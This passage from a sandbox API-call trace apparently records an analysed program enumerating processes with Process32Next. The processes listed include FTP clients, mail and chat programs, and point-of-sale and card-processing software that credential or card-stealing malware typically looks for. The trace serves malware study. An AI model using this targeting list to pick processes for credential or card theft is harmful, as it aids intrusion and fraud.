lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.577] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.579] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.581] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0221.583] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.585] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.587] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.589] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0221.591] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0221.593] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.595] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0221.892] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0221.894] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.895] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.897] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0221.898] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0221.900] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0221.901] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0221.902] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0221.904] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0221.905] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0221.906] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0221.908] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0221.909] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0221.911] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0221.912] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0221.914] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0221.915] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0221.916] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0221.918] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0221.919] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0221.921] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0221.923] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0221.925] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0221.976] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0221.978] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0221.980] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0221.981] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0221.982] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0221.984] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0221.986] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0221.989] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0221.991] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0221.993] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0221.995] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0221.997] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0221.999] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0222.001] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0222.004] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0222.006] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0222.008] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0222.010] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0222.012] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0222.015] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0222.017] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0222.068] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0222.071] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0222.073] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0222.075] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0222.077] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0222.079] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0222.091] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0222.093] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0222.095] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0222.104] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0222.107] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0222.109] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0222.111] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0222.113] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0222.115] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0222.117] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0222.119] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0222.121] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0222.123] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0222.125] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0222.127] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0222.179] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0222.181] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0222.183] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0222.185] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0222.186] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0222.188] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.189] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.191] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.192] 